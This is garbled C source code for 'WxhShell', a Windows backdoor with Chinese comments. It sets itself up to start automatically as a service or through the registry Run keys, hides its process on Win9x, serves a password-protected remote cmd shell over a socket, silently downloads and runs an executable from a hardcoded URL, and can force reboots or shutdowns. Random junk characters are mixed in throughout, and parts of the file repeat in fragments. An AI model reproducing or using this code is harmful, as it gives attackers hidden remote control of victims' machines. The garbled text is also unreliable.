wcY?rE9 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JrRH\+4K if(NULL == hInst ) return 0; :! !at:> Qn)a/w- g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b!5~7Ub.No g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UrEs4R1# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :E )>\&
Qjv}$`M if (!NtQueryInformationProcess) return 0; bAtSV u 7! INkH] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5taT5?n2 if(!hProcess) return 0;
7\Y0z -z%^)VE if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q9r[$%G ZRU{[4 CloseHandle(hProcess); i6Emhji CdjI` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lchPpm9 if(hProcess==NULL) return 0; m`^q <sj A*547=M/(j HMODULE hMod; 4)urU7[ &) char procName[255]; ={@6{-tl unsigned long cbNeeded; D7Q$R:6| >jc [nk if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]K,Tnyp KF!Yf\ CloseHandle(hProcess); 6fEqqUeV pYmk1!]/ if(strstr(procName,"services")) return 1; // 以服务启动 %S^8c .;`AAH'k return 0; // 注册表启动 K} X&AJ5A } _TQj~W< :emiQ // 主模块 5f K_Aq{ int StartWxhshell(LPSTR lpCmdLine) O.M>+~Nw { ,uhb~N< SOCKET wsl; EaY?aAuS: BOOL val=TRUE; ra
g Xn int port=0; O`t&ldU struct sockaddr_in door; l L@XM2" y(yHt=r if(wscfg.ws_autoins) Install(); `Cynj+PCe $1L>)S port=atoi(lpCmdLine); 9w"4K. 1JG'%8}#8 if(port<=0) port=wscfg.ws_port; L2i_X@/ Pw`8Wj WSADATA data; ?Z[[2\DR if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j[J-f@F \Y E,x+JeKV if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wc^tgE setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h( u8&MHx door.sin_family = AF_INET;
B Qxs~ door.sin_addr.s_addr = inet_addr("127.0.0.1"); ag;pN*z door.sin_port = htons(port); tGE$z]1c@ 9`X\6s if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hT&Y#fh
closesocket(wsl); >rmqBDKaQ return 1; 2*l/3VW } bUdLs.: Q1I6$8:7 if(listen(wsl,2) == INVALID_SOCKET) { x}I+Iggi closesocket(wsl); &d?CCb$|0Y return 1; }?_?V&K| } qvKG-|j Wxhshell(wsl); z3m85F%dR WSACleanup(); :v&$o'Sak |a`Sc% return 0; u$Jz~:=, 6@F9G4<Z } ep)n_!$OH" `V)8
QRN( // 以NT服务方式启动 +`3)o PV) VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ' ;FnIZ { Ma']?Rb` DWORD status = 0; E`usknf>l DWORD specificError = 0xfffffff; Hc$O{]sq a;qryUyG serviceStatus.dwServiceType = SERVICE_WIN32; =M[bnq*\ serviceStatus.dwCurrentState = SERVICE_START_PENDING; lc1(t:"[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qUW!
G&R serviceStatus.dwWin32ExitCode = 0; 4=.89T#< serviceStatus.dwServiceSpecificExitCode = 0; b;W3j serviceStatus.dwCheckPoint = 0; &4x}ppX serviceStatus.dwWaitHint = 0; oC: {aK6\ G+"t/?/ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t[;LD_ if (hServiceStatusHandle==0) return; 5o'FS{6U U!?_W=? status = GetLastError(); ;oKZ!ND if (status!=NO_ERROR) {14fA)`% { qJa H, serviceStatus.dwCurrentState = SERVICE_STOPPED; {
Vf XsI serviceStatus.dwCheckPoint = 0; r|fL&dtr serviceStatus.dwWaitHint = 0; Zd}9O jz5 serviceStatus.dwWin32ExitCode = status; m_?~OL S serviceStatus.dwServiceSpecificExitCode = specificError; D4lG[qb SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0oZ=
yh return; O1U= X:Zl } oAJM]%g{ [")o.( serviceStatus.dwCurrentState = SERVICE_RUNNING; uLL]A>vR serviceStatus.dwCheckPoint = 0; +yH7v5W serviceStatus.dwWaitHint = 0; z2_*%S@ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "ESwA } Ky!Y" c%2QZ C // 处理NT服务事件,比如:启动、停止 ~Z?TFg
VOID WINAPI NTServiceHandler(DWORD fdwControl) j@U]'5EVB { ^Y>F|;M# switch(fdwControl) [P=Jw:E { 2~1SQ.Q<RY case SERVICE_CONTROL_STOP: ll<Xz((o serviceStatus.dwWin32ExitCode = 0; ^w@%cVh serviceStatus.dwCurrentState = SERVICE_STOPPED; *yt=_Q serviceStatus.dwCheckPoint = 0; 0KcyLAJ serviceStatus.dwWaitHint = 0; F|o:W75 { j_!F*yul SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7{)G_?Q& } 9Zt`u,; return; jrlVvzZ case SERVICE_CONTROL_PAUSE: RK'\C\gMDu serviceStatus.dwCurrentState = SERVICE_PAUSED; GmeQ`;9, break; 0d"[l@UU0 case SERVICE_CONTROL_CONTINUE: 7$vYo
_ serviceStatus.dwCurrentState = SERVICE_RUNNING; \FbvHr, break; :0j?oY~e case SERVICE_CONTROL_INTERROGATE: ,.83m%i break; jk; clwyz/ }; +,TRfP
Fb SetServiceStatus(hServiceStatusHandle, &serviceStatus); 85 |OGtt } U0
Yll4E (cAIvgI // 标准应用程序主函数 h5{'Q$Erl int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1MP~dRZ$ { xd q?/^E zl>nSndRE // 获取操作系统版本 !*F1q|R OsIsNt=GetOsVer(); W#4 7h7M GetModuleFileName(NULL,ExeFile,MAX_PATH); @; zl w;[NH/A^a // 从命令行安装 _(W+S`7Z if(strpbrk(lpCmdLine,"iI")) Install(); \}u
Y'F 7 S#J>* // 下载执行文件 UqFO|r"M if(wscfg.ws_downexe) { ^pAAzr"hv if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <ktrPlNuM WinExec(wscfg.ws_filenam,SW_HIDE); 53;}Nt#R } xjuN- d6?j`~[7#- if(!OsIsNt) { ]_mb7X> // 如果时win9x,隐藏进程并且设置为注册表启动 lk^Ol&6 HideProc(); c@!_/0 StartWxhshell(lpCmdLine); $Uq|w[LA } -[4T else G\/zkrxmv if(StartFromService()) Yh@JXJ> // 以服务方式启动 _wbF>z StartServiceCtrlDispatcher(DispatchTable); n71r_S* else V%7WUq // 普通方式启动 knu,"< StartWxhshell(lpCmdLine); ?yrX)3hyH vsCCB}7\ return 0; qOIyub } 1y4|{7bb }WC[$Y_@ nMq,F#`3N KVoS
C@w =========================================== !=*g@mgF sQUM~HD\a ="1Ind@w!
{nBhdM :i >\-hO&%_ E<{R.r " fy>{QC\ :[p} #include <stdio.h> XV7Ex\D* #include <string.h> #px+;k5 #include <windows.h> VZp5)-!\ #include <winsock2.h> !_]Y~[ #include <winsvc.h> d\&U*= #include <urlmon.h> /kZebNf6H Dzpq_F!;V #pragma comment (lib, "Ws2_32.lib") z\\[S@>pt #pragma comment (lib, "urlmon.lib") ?hZAxR\ pz!Zs."f) #define MAX_USER 100 // 最大客户端连接数 2RVN\?s: #define BUF_SOCK 200 // sock buffer 7X`g,b! #define KEY_BUFF 255 // 输入 buffer m4[ ;(1 |{z:IQLv #define REBOOT 0 // 重启 !P2ro~0/ #define SHUTDOWN 1 // 关机 : Xda1S CmP9Q2 #define DEF_PORT 5000 // 监听端口 gDQ^)1k G)AqbY #define REG_LEN 16 // 注册表键长度 MD}w Y><C #define SVC_LEN 80 // NT服务名长度 f&NgS+<K$ -V*R\,> // 从dll定义API 9@SC}AF. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R~TTL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bWjc'P6rx typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hck]aKI+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G*?8MTP8![ a(m2n.0'> // wxhshell配置信息 e[{0)y>= struct WSCFG { fF!Yp iI" int ws_port; // 监听端口 paA(C|%{ char ws_passstr[REG_LEN]; // 口令 +C^nO=[E int ws_autoins; // 安装标记, 1=yes 0=no Hc;[Cs0 char ws_regname[REG_LEN]; // 注册表键名 aG-vtld char ws_svcname[REG_LEN]; // 服务名 {UX!go^J char ws_svcdisp[SVC_LEN]; // 服务显示名 #>a\>iKQ2q char ws_svcdesc[SVC_LEN]; // 服务描述信息 J@/kIrx char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [7:,?$tC int ws_downexe; // 下载执行标记, 1=yes 0=no <.%4 !
}f8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o3XvRj char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rP'me2
B 0.Q
Ujw }; %HhBt5w pN,u`[ // default Wxhshell configuration +N]J5Ve-`t struct WSCFG wscfg={DEF_PORT, G~]Uk*M
q "xuhuanlingzhe", k`cfG\;r 1, ^L,K& Jd "Wxhshell", =bAx,,D# "Wxhshell", ]"pVj6O "WxhShell Service", }g@v`5 "Wrsky Windows CmdShell Service", dUD[e,? "Please Input Your Password: ", WSPI|#Xr% 1, "syI#U{ "http://www.wrsky.com/wxhshell.exe", n.}Zk G0` "Wxhshell.exe" 7RQR)DG }; "-E\[@/ &.F4b~A7 // 消息定义模块 `{8K.(])s! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1;* cq char *msg_ws_prompt="\n\r? for help\n\r#>"; <q)# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K$z2YJ% char *msg_ws_ext="\n\rExit."; }t!Gey char *msg_ws_end="\n\rQuit."; HRpte=`q char *msg_ws_boot="\n\rReboot..."; b3P+H r char *msg_ws_poff="\n\rShutdown..."; Yz9owe8}[ char *msg_ws_down="\n\rSave to "; !@5 9) [XN={ char *msg_ws_err="\n\rErr!"; NYhB'C2 char *msg_ws_ok="\n\rOK!"; RV1coC.g4x 44J]I\+ char ExeFile[MAX_PATH]; Mg+2.
8% int nUser = 0; i[i4h"$0 HANDLE handles[MAX_USER]; 8u"U1 int OsIsNt; 6u?>M9 .zf~.R;> SERVICE_STATUS serviceStatus; gZVc 5u< SERVICE_STATUS_HANDLE hServiceStatusHandle; GWGSd\z U%-A?5 // 函数声明 #j;^\rSv- int Install(void); IM*y|UHt int Uninstall(void); g/4[N{Xf int DownloadFile(char *sURL, SOCKET wsh); T%+#xl int Boot(int flag); \-E^lIVF void HideProc(void); ??5Q)Erm1 int GetOsVer(void); pG_;$8Hc int Wxhshell(SOCKET wsl); k``_EiV4t void TalkWithClient(void *cs); yER(6V'\iQ int CmdShell(SOCKET sock); >k|5Okq g int StartFromService(void); ]43/`FX int StartWxhshell(LPSTR lpCmdLine); L]7=?vN=8 />C^WQI^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +8T?{K VOID WINAPI NTServiceHandler( DWORD fdwControl ); "%)qRe \Zk;ikEY // 数据结构和表定义 cUk7i`M;6 SERVICE_TABLE_ENTRY DispatchTable[] = `Uq#W+r, { vN}#Kc\ {wscfg.ws_svcname, NTServiceMain}, O}gV`q; {NULL, NULL} ~ZaY!(R< }; eNh39er ^+ml5m // 自我安装 t6rRU~;} int Install(void) KA5v +~ { m5n#v char svExeFile[MAX_PATH]; qyb?49I HKEY key; H;mSkRD3N strcpy(svExeFile,ExeFile); VD AaYDi "37lx;CH // 如果是win9x系统,修改注册表设为自启动 _=r6=. if(!OsIsNt) { /*~EO{o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $B+8Of RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PJ')R:e, RegCloseKey(key); |*Yr<zt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f^3*)Ni RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xc++b|k RegCloseKey(key); #&+{mCjs return 0; l03B=$ } 2F[ q). } S
E<FL/x1# } ]Ee?6]bN else { VO5#Qg en xh-o}8*n" // 如果是NT以上系统,安装为系统服务 z9f-.72"X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /A\8 mL8 if (schSCManager!=0) 'd0~!w { =}^9 wP SC_HANDLE schService = CreateService AD>e?u ( uo:J\ E schSCManager, qw301]y wscfg.ws_svcname, 3ZuZ/= wscfg.ws_svcdisp, !vi>U|rh SERVICE_ALL_ACCESS, D_ 2:k'4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]|pe>:gf' SERVICE_AUTO_START, te`$%NRl SERVICE_ERROR_NORMAL, W ~<^L\Lu svExeFile, u~N?NW Q NULL, iO$8:mxm0? NULL, Cl.x'v NULL, !<|4C6X:4 NULL, ';Ea?ID NULL UBKu/@[f@ ); n6=By|jRh if (schService!=0) D>r&}6< { &A/]pi-\ CloseServiceHandle(schService); 0q CloseServiceHandle(schSCManager); wSL}`C gU strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nbp=PzZy strcat(svExeFile,wscfg.ws_svcname); "V7K SO if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @&!ZZ
1V8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;<Sd~M4f RegCloseKey(key); hR
n <em return 0; CZe ]kXNv } .~db4d] } KM0ru CloseServiceHandle(schSCManager); L<S9 } qArM|\l1 } *U- 4Sy "9uKtQS0o return 1; 3yme1Mb } yF:1( 4 0JS?; fk // 自我卸载 t,Lrfv]) int Uninstall(void) udH7}K v { ]]![EHi(\ HKEY key; umfD>" ^I ~D+bh~ if(!OsIsNt) { # +>oZWVc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ldcqe$7, RegDeleteValue(key,wscfg.ws_regname); 68|E9^`l RegCloseKey(key); iU918!!N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LP^$AAy RegDeleteValue(key,wscfg.ws_regname); z
kP_6T09 RegCloseKey(key); f5"k55 } return 0; YMyfL8bO } ~NgA } 5pG}Yk_(x } tFn)aa~L else { + 480 l} , pfG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %Xg4b6<9 if (schSCManager!=0) R{4^t97wH{ { #Pau\|e_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uc{Ihw if (schService!=0) g/_5unI}u { !TH)
+zi if(DeleteService(schService)!=0) { Kn{4;Xk\ CloseServiceHandle(schService); _ye |Y CloseServiceHandle(schSCManager); XX!%RE`M8 return 0; q$UJ$7=f8 } 6v!`1}
~ CloseServiceHandle(schService); =?*!"&h } #MkTkm&r CloseServiceHandle(schSCManager); N% B>M7-= } wu6;.xTLl } Paq4 2qNt,;DQ return 1; $Wol?)z } MY)O^I X$ r6Dz;uz // 从指定url下载文件 rKc9b<Ir int DownloadFile(char *sURL, SOCKET wsh) l30EKoul) { Wi<m{.%\E HRESULT hr; @{e}4s?7od char seps[]= "/"; ]q[D>6_ char *token; l'1pw char *file; ~/U1xk% char myURL[MAX_PATH]; [aLI
' char myFILE[MAX_PATH]; ,ng Cv;s pF >i-i strcpy(myURL,sURL); r<EY]f^`u token=strtok(myURL,seps); R^fPIv`q while(token!=NULL) uMv,zO5 { bWS&Yk( file=token; U>SShpmZA token=strtok(NULL,seps); ~P
qM]^ } M0"_^? :,7hWs GetCurrentDirectory(MAX_PATH,myFILE); [DOckf oZx strcat(myFILE, "\\"); D)P ._? strcat(myFILE, file); I][*j send(wsh,myFILE,strlen(myFILE),0); 1.hyCTnI send(wsh,"...",3,0); Ee#q9Cx^J hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?UR0:f:}oc if(hr==S_OK) }v{LRRi return 0; $wa{~' else E&w7GZNt return 1; nFCC St$ BOX2O.Pm } G.B2(' }>|s=uGW // 系统电源模块
/maJtX' int Boot(int flag) W@IQ^
}E { ,qwuLBW HANDLE hToken; ue"~9JK. TOKEN_PRIVILEGES tkp; ATyEf5Id_ lVa%$F{Pq if(OsIsNt) { j;r-NCBnz OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {Xy5pfW
Q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JR|ck=tq tkp.PrivilegeCount = 1; 1&OW4_ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q
i;1L
Kc AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XT*sGM if(flag==REBOOT) { v1JzP# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~ Iuf}D; return 0; h#*dI`>l- } S hWJ72c else { ^76]0`gS if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) re<{
> return 0; t@;p } |Ez>J+uye( } Z{d^- else { ajT*/L!0_ if(flag==REBOOT) { .P]+? %& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @mBQ?;qlK return 0; >U>(`r* } gD?l-RT> else { uW{l(}0N if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .<FH>NW) return 0; sP~<*U.7 } b|DdG/O } (t|Zn@uY w9imKVry return 1; *^4"5X@ } eByz-,{P e*C(q~PQ // win9x进程隐藏模块 _H%c;z+ void HideProc(void) B 3I`40# { HC8e>kP9b '<<t]kK[N HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L*+@>3mu) if ( hKernel != NULL ) ITBE|b { p
l0\2e) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F>l]
9!P|m ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?l )[7LR4 FreeLibrary(hKernel); Avc%2+ } \\qZl)P_ 59A}}.@?m return; )akoa,#%6c } t:Q*gWRh A/s?x>QA // 获取操作系统版本 %$L{R int GetOsVer(void) f}e`XA? { ZBthU")? OSVERSIONINFO winfo; <'*LRd$1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0~S^Y1hH GetVersionEx(&winfo); \b x$i* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2ilQXy return 1; vE?G7%, else aFYIM`?( return 0; u6agoK|^9 } h]gp ^?= NLqzi%s // 客户端句柄模块 eauF~md, int Wxhshell(SOCKET wsl) 4[eXe$ { cwg"c4V SOCKET wsh; z:*|a+cy struct sockaddr_in client; D,feF9 DWORD myID; ,qxu|9L bn5 Su=] while(nUser<MAX_USER) 25?6gu*Z { ICQKP1WFp int nSize=sizeof(client); .q>iXE_c wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C'x&Py/# if(wsh==INVALID_SOCKET) return 1; :o3N;*o>)0 T~e.PP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |{ip T SH if(handles[nUser]==0) C6PdDRf closesocket(wsh); W6Fo6a"< else V,njO{Q nUser++; 7.oM J } fHFE){ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y6a3tG 0 H:X3y+ return 0; WsB ?C&>x } U xGApK=X >[#f\bG> // 关闭 socket [(lW^- void CloseIt(SOCKET wsh) M= (u]%\ { !Uo4,g6r+ closesocket(wsh); $UwCMPs X nUser--; ]f_p8?j" ExitThread(0); 2^7`mES } AK4t\D)K1 guR/\z$D@C // 客户端请求句柄 TLH1>pY& void TalkWithClient(void *cs) eR>oq, { Bzf^ivT3L >(<f 0 SOCKET wsh=(SOCKET)cs; $&c*'3 char pwd[SVC_LEN]; *.[.
{qG( char cmd[KEY_BUFF]; 'w aaw_>b char chr[1]; \FaP|28h int i,j; @0''k jP.dDYc while (nUser < MAX_USER) { 8s@3hXD& >t+P(*u if(wscfg.ws_passstr) { !N^@4* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {.Jlbi9! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gSj,E8-g //ZeroMemory(pwd,KEY_BUFF); R;LP:,) i=0; OyIw>Wfv while(i<SVC_LEN) { Kg]J/|0\ tH4B:Bgj! // 设置超时 #'`{Qv0,
fd_set FdRead; KI.hy2?e struct timeval TimeOut; vY3h3o FD_ZERO(&FdRead); n@3>6_^rwT FD_SET(wsh,&FdRead); Q>z8IlJ} TimeOut.tv_sec=8; .}+}8[p4l TimeOut.tv_usec=0; *-X[u: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %BODkc Zh if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UiNP3TJ'L *T1_;4i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {!`6zBsP pwd=chr[0]; #vlgwA if(chr[0]==0xd || chr[0]==0xa) { lOp`m8_= pwd=0; 8@R|Km5h break; Fr-SvsNFB } 7tp36 TE i++; 3so%gvY.' } l]SX@zTb * 4
n) // 如果是非法用户,关闭 socket >\8+:oS^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K
8O|?x] } /dHF6yW /bmN\I send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a+QpM*n7Lq send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !,PWb3S j>kqz>3 while(1) { y();tsWqc i
XN1I ZeroMemory(cmd,KEY_BUFF);
\=o- 7zc^!LrW< // 自动支持客户端 telnet标准 ^.y\(= j=0; iy"*5<;*DD while(j<KEY_BUFF) { %iB,IEw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O6Y0XL cmd[j]=chr[0]; 9+N-eW_U if(chr[0]==0xa || chr[0]==0xd) { ="e+W@C cmd[j]=0; G~m<; break; 2<3K3uz } !R$`+wZ62 j++; \)e'`29; } v@pky0 5r0YA
IJ // 下载文件
lhJ'bYI if(strstr(cmd,"http://")) { uAk.@nfiEv send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?7A>+EY if(DownloadFile(cmd,wsh)) $cgcX send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hr C+Yjp else tJmTBsn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 E=L8< } i/.6>4tE: else { lquLT6] VU#7%ufu& switch(cmd[0]) { jiGTA:v pfPz8L.7 // 帮助 wuBPfb case '?': { !u hT send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gm`8q}<I break; .)3 <Q}> } TqQ[_RKg2 // 安装 Ort(AfW case 'i': { p<%d2@lp if(Install()) _0I@xQj- send(wsh,msg_ws_err,strlen(msg_ws_err),0); \U0'P;em else E{@[k%,_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I+(nu47ZT break; qgB_=Q#E } @F>D+=hS // 卸载 [>9is=>o. case 'r': { gDzK{6Z} if(Uninstall()) u&e~1?R send(wsh,msg_ws_err,strlen(msg_ws_err),0); H/Jbk*Q else +|f@^- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YYS0` break; O0:q;<>z } |BYRe1l6l // 显示 wxhshell 所在路径 iRBfx case 'p': { GX%g9f!O char svExeFile[MAX_PATH]; u@^LW<eD strcpy(svExeFile,"\n\r"); L50n8s strcat(svExeFile,ExeFile); wM{s|Ay send(wsh,svExeFile,strlen(svExeFile),0); {h4E8.E break; tX[WH\(xI } bd`P0f? // 重启 F[MFx^sT{ case 'b': { MfkZ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T>>c2$ x if(Boot(REBOOT)) u:b=\T L send(wsh,msg_ws_err,strlen(msg_ws_err),0); p}P-6&k,U else { #z42C?V closesocket(wsh); )gi9f1n` ExitThread(0); d5 -qZ{W } <naz+QK' break; [B3RfCV{ } SWLo|)@[/ // 关机 /@5YW"1 case 'd': { 13f)&#, F send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )}vl\7= if(Boot(SHUTDOWN)) P
{'b:C send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2zpr~cB= else { DwF hK* closesocket(wsh); @|!z9Y* ExitThread(0); <N@Gu!N8 } f
mGc^d|= break; QL* IiFR } vSh`&w^* // 获取shell ?ubro0F: case 's': { 5-M-X#( CmdShell(wsh); AwN!;t_0+N closesocket(wsh); !'Kjx ExitThread(0); LQ% `c break; t<qiGDJ<d } u:EiwRW // 退出 `X8F`5&U\f case 'x': { V.Mry`9- send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TC"<g CloseIt(wsh); QW"! (`K break; MQ4KdqgP } 4P0}+ // 离开 @ P|y{e6 case 'q': { x"gVq
~ send(wsh,msg_ws_end,strlen(msg_ws_end),0); EV?z`jE9 closesocket(wsh); W!<U85-#S WSACleanup(); j.YA2mr exit(1); n`KY9[0U= break; @pxcpXCy } G&dKY h\ } KSL`W2} } 8i pez/ Debv4Gr;^ // 提示信息 r
:dTz if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /<3UQLMa } KmF]\:sMD } > P)w?:k r=4eP(w= return; @WB@]-+J
T } nP$9CA ElXFeJ%[G // shell模块句柄 s @C}P int CmdShell(SOCKET sock) =Sv/IXX\di { YK\X+"lB STARTUPINFO si; ])!*_ ZeroMemory(&si,sizeof(si)); /(LL3cZK si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `x|?&Ytmf9 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pXUSLs PROCESS_INFORMATION ProcessInfo; (#'>(t(4 char cmdline[]="cmd"; NO3/rJ6- CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j#6.Gq return 0; qb4z
T } e;jdqF~v! 'Vbi VLWD // 自身启动模式 ME dWLFf int StartFromService(void) ry!!9Z>9n { W4N{S.#! typedef struct F5Va+z,jg { +q oRP2 DWORD ExitStatus; b]y2+A.n DWORD PebBaseAddress; _g.{MTQ DWORD AffinityMask; f5r0\7y0 DWORD BasePriority; @.C2LIb ULONG UniqueProcessId; % `3jL7| ULONG InheritedFromUniqueProcessId; .u:GjL'$ } PROCESS_BASIC_INFORMATION; a
=QCp4^ kP"9&R`E PROCNTQSIP NtQueryInformationProcess; ceV}WN19l VE24ToI?W" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5m*,8 ]!- static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c|%6e(g"L ^s=8!=A( HANDLE hProcess; `9 L>* PROCESS_BASIC_INFORMATION pbi; PM+[,H =}*0-\QG HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <qSC#[xu if(NULL == hInst ) return 0; Dj +f]~ `]X>V, g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kFB g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vbNBLCwug NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2|L&DF:G PdCEUh\>y if (!NtQueryInformationProcess) return 0; 9my^Y9B yw!{MO hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2?5>o!C if(!hProcess) return 0; q@qsp&0/ /ouPg=+Nl if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e!Hh s/&!T _^;Z~/. CloseHandle(hProcess); :
'c&,oLY xmG<]WF>E hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G#CXs:1pd+ if(hProcess==NULL) return 0; liZxBs
:%i q@&6#B HMODULE hMod; J1vR5wbu char procName[255];
